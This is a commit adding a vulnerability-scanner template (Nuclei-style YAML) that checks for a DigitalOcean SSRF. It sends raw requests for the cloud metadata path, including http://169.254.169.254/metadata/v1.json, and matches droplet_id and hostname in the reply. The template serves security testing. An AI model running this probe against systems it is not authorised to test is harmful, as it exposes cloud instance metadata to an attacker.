Create digital-ocean-ssrf.yaml

patch-1
Dhiyaneshwaran 2022-12-20 10:51:20 +05:30 committed by GitHub
parent 22a5431591
commit ab7f19491b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 36 additions and 0 deletions

View File

@ -0,0 +1,36 @@
id: digital-ocean-ssrf
info:
name: Digital Ocean SSRF
author: DhiyaneshDk
severity: critical
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
cvss-score: 9.3
cwe-id: CWE-441
requests:
- raw:
- |+
GET {{BaseURL}}/metadata/v1.json HTTP/1.1
Host: {{Hostname}}
- |+
GET http://169.254.169.254/metadata/v1.json HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
unsafe: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"droplet_id":'
- '"hostname":'
condition: and
- type: status
status:
- 200